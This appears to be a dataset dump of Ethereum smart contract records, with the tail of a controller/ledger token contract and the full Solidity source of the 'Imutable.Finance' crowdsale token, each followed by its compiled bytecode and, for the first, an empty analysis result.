token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
// public functions
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
// let the ledger send transfer events (the most obvious case
// is when we mint directly to the ledger and need the Transfer()
// events to appear in the token)
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
function burn(address _owner, uint _amount) onlyToken {
ledger.burn(_owner, _amount);
}
}
contract Ledger is Owned, SafeMath, Finalizable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
function stopMinting() onlyOwner {
mintingStopped = true;
}
function multiMint(uint nonce, uint256[] bits) onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function burn(address _owner, uint _amount) onlyController {
balanceOf[_owner] = safeSub(balanceOf[_owner], _amount);
totalSupply = safeSub(totalSupply, _amount);
}
}
|
0x606060405236156100eb5763ffffffff60e060020a600035041663144fa6d781146100f057806315dacbea1461011157806318160ddd146101535780633246887d146101785780634bb278f31461019957806356397c35146101ae57806370a08231146101dd57806379ba50971461020e5780638da5cb5b146102235780639dc29fac14610252578063a6f9dae114610276578063b3f05b9714610297578063bcdd6121146102be578063beabacc8146102fa578063dd62ed3e14610336578063e1f21c671461036d578063f019c267146103a9578063f5c86d2a146103e5578063fc0c546a1461040f575b600080fd5b34156100fb57600080fd5b61010f600160a060020a036004351661043e565b005b341561011c57600080fd5b61013f600160a060020a0360043581169060243581169060443516606435610486565b604051901515815260200160405180910390f35b341561015e57600080fd5b61016661053d565b60405190815260200160405180910390f35b341561018357600080fd5b61010f600160a060020a03600435166105a7565b005b34156101a457600080fd5b61010f6105ef565b005b34156101b957600080fd5b6101c1610643565b604051600160a060020a03909116815260200160405180910390f35b34156101e857600080fd5b610166600160a060020a0360043516610652565b60405190815260200160405180910390f35b341561021957600080fd5b61010f6106cf565b005b341561022e57600080fd5b6101c1610719565b604051600160a060020a03909116815260200160405180910390f35b341561025d57600080fd5b61010f600160a060020a0360043516602435610728565b005b341561028157600080fd5b61010f600160a060020a03600435166107b3565b005b34156102a257600080fd5b61013f6107fb565b604051901515815260200160405180910390f35b34156102c957600080fd5b61013f600160a060020a036004358116906024351660443561081c565b604051901515815260200160405180910390f35b341561030557600080fd5b61013f600160a060020a03600435811690602435166044356108cb565b604051901515815260200160405180910390f35b341561034157600080fd5b610166600160a060020a036004358116906024351661097a565b60405190815260200160405180910390f35b341561037857600080fd5b61013f600160a060020a0360043581169060243516604435610a00565b604051901515815260200160405180910390f35b34156103b457600080fd5b61013f600160a060020a0360043581169060243516604435610aaf565b604051901515815260200160405180910390f35b34156103f057600080fd5b61010f600160a060020a0360043581169060243516604435610b5e565b005b341561041a57600080fd5b6101c1610bf7565b604051600160a060020a03909116815260200160405180910390f35b60005433600160a060020a0390811691161461045957600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60035460009033600160a060020a039081169116146104a457600080fd5b600254600160a060020a03166315dacbea8686868660006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561051757600080fd5b6102c65a03f1151561052857600080fd5b50505060405180519150505b5b949350505050565b600254600090600160a060020a03166318160ddd82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561058757600080fd5b6102c65a03f1151561059857600080fd5b50505060405180519150505b90565b60005433600160a060020a039081169116146105c257600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60005433600160a060020a0390811691161461060a57600080fd5b6001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b5b565b600254600160a060020a031681565b600254600090600160a060020a03166370a0823183836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106ad57600080fd5b6102c65a03f115156106be57600080fd5b50505060405180519150505b919050565b60015433600160a060020a0390811691161415610640576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b565b600054600160a060020a031681565b60035433600160a060020a0390811691161461074357600080fd5b600254600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561079957600080fd5b6102c65a03f115156107aa57600080fd5b5050505b5b5050565b60005433600160a060020a039081169116146107ce57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60015474010000000000000000000000000000000000000000900460ff1681565b60035460009033600160a060020a0390811691161461083a57600080fd5b600254600160a060020a031663bcdd612185858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60035460009033600160a060020a039081169116146108e957600080fd5b600254600160a060020a031663beabacc885858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b600254600090600160a060020a031663dd62ed3e8484846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156109dd57600080fd5b6102c65a03f115156109ee57600080fd5b50505060405180519150505b92915050565b60035460009033600160a060020a03908116911614610a1e57600080fd5b600254600160a060020a031663e1f21c6785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60035460009033600160a060020a03908116911614610acd57600080fd5b600254600160a060020a031663f019c26785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60025433600160a060020a03908116911614610b7957600080fd5b600354600160a060020a0316639b50438784848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610bdc57600080fd5b6102c65a03f11515610bed57600080fd5b5050505b5b505050565b600354600160a060020a0316815600a165627a7a723058206f8b97b1107d1384a5d136c433f74ccac1aaa2d8100131fe14bc1a3441faab2d0029
|
{"success": true, "error": null, "results": {}}
| 8,742 |
0xe0f2f9c9bd3f5cab451ffe9894a7c94a3974d7b7
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 250*10**18;
uint256 public constant basePrice = 25*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 66416*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
function transfer(address to, uint tokens) public returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(to != address(0));
require(balances[msg.sender] >= tokens );
balances[msg.sender] = balances[msg.sender].sub(tokens);
require(balances[to] + tokens >= balances[to]);
// Transfer the unburned tokens to "to" address
balances[to] = balances[to].add(tokens);
// emit Transfer event to "to" address
emit Transfer(msg.sender,to,tokens);
return true;
}
//Delete tokens only Owner function /instead burn
function deleteTokens(uint256 tokens) public onlyOwner{
require(tokens >= 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
totalSupply_ = totalSupply_.sub(tokens);
}
}
/**
* @title IMF
* @dev Contract to create the IMF
**/
contract IMF is CrowdsaleToken {
string public constant name = "Imutable.Finance";
string public constant symbol = "IMF";
uint32 public constant decimals = 18;
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104c9578063095ea7b31461055957806318160ddd146105be57806323b872dd146105e95780632f5286601461066e578063313ce5671461069b578063355274ea146106d2578063518ab2a8146106fd578063661884631461072857806370a082311461078d57806389311e6f146107e45780638da5cb5b146107fb578063903a3ef61461085257806395d89b4114610869578063a9059cbb146108f9578063bf5839031461095e578063c7876ea414610989578063cbcb3171146109b4578063d73dd623146109df578063dd62ed3e14610a44578063f2fde38b14610abb575b60008060008060006001600281111561013257fe5b600560149054906101000a900460ff16600281111561014d57fe5b14151561015957600080fd5b60003411151561016857600080fd5b600060045411151561017957600080fd5b3494506101b2670de0b6b3a76400006101a468015af1d78b58c4000088610afe90919063ffffffff16565b610b3690919063ffffffff16565b935060009250680d8d726b7177a800006101d785600354610b4c90919063ffffffff16565b1115610251576101fb600354680d8d726b7177a80000610b6890919063ffffffff16565b9150610233670de0b6b3a764000061022568015af1d78b58c4000085610b3690919063ffffffff16565b610afe90919063ffffffff16565b90506102488186610b6890919063ffffffff16565b92508094508193505b61026684600354610b4c90919063ffffffff16565b60038190555061028a600354680d8d726b7177a80000610b6890919063ffffffff16565b6004819055506000831115610346573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102df573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b610397846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361045384600154610b4c90919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104c1573d6000803e3d6000fd5b505050505050005b3480156104d557600080fd5b506104de610b81565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051e578082015181840152602081019050610503565b50505050905090810190601f16801561054b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056557600080fd5b506105a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bba565b604051808215151515815260200191505060405180910390f35b3480156105ca57600080fd5b506105d3610cac565b6040518082815260200191505060405180910390f35b3480156105f557600080fd5b50610654600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb6565b604051808215151515815260200191505060405180910390f35b34801561067a57600080fd5b5061069960048036038101908080359060200190929190505050611070565b005b3480156106a757600080fd5b506106b06111da565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106de57600080fd5b506106e76111df565b6040518082815260200191505060405180910390f35b34801561070957600080fd5b506107126111ec565b6040518082815260200191505060405180910390f35b34801561073457600080fd5b50610773600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f2565b604051808215151515815260200191505060405180910390f35b34801561079957600080fd5b506107ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611483565b6040518082815260200191505060405180910390f35b3480156107f057600080fd5b506107f96114cb565b005b34801561080757600080fd5b50610810611581565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085e57600080fd5b506108676115a7565b005b34801561087557600080fd5b5061087e611641565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108be5780820151818401526020810190506108a3565b50505050905090810190601f1680156108eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561090557600080fd5b50610944600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061167a565b604051808215151515815260200191505060405180910390f35b34801561096a57600080fd5b50610973611926565b6040518082815260200191505060405180910390f35b34801561099557600080fd5b5061099e61192c565b6040518082815260200191505060405180910390f35b3480156109c057600080fd5b506109c9611939565b6040518082815260200191505060405180910390f35b3480156109eb57600080fd5b50610a2a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611947565b604051808215151515815260200191505060405180910390f35b348015610a5057600080fd5b50610aa5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b43565b6040518082815260200191505060405180910390f35b348015610ac757600080fd5b50610afc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bca565b005b600080831415610b115760009050610b30565b8183029050818382811515610b2257fe5b04141515610b2c57fe5b8090505b92915050565b60008183811515610b4357fe5b04905092915050565b60008183019050828110151515610b5f57fe5b80905092915050565b6000828211151515610b7657fe5b818303905092915050565b6040805190810160405280601081526020017f496d757461626c652e46696e616e63650000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cf357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d4057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dcb57600080fd5b610e1c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eaf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110cc57600080fd5b600081101515156110dc57600080fd5b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561112957600080fd5b61117a816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d181600154610b6890919063ffffffff16565b60018190555050565b601281565b680d8d726b7177a8000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611303576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611397565b6113168382610b6890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152757600080fd5b60028081111561153357fe5b600560149054906101000a900460ff16600281111561154e57fe5b1415151561155b57600080fd5b6001600560146101000a81548160ff0219169083600281111561157a57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160357600080fd5b60028081111561160f57fe5b600560149054906101000a900460ff16600281111561162a57fe5b1415151561163757600080fd5b61163f611d22565b565b6040805190810160405280600381526020017f494d46000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116b757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561170457600080fd5b611755826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561182457600080fd5b611875826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b68015af1d78b58c4000081565b690e106b27b0f367c0000081565b60006119d882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4c90919063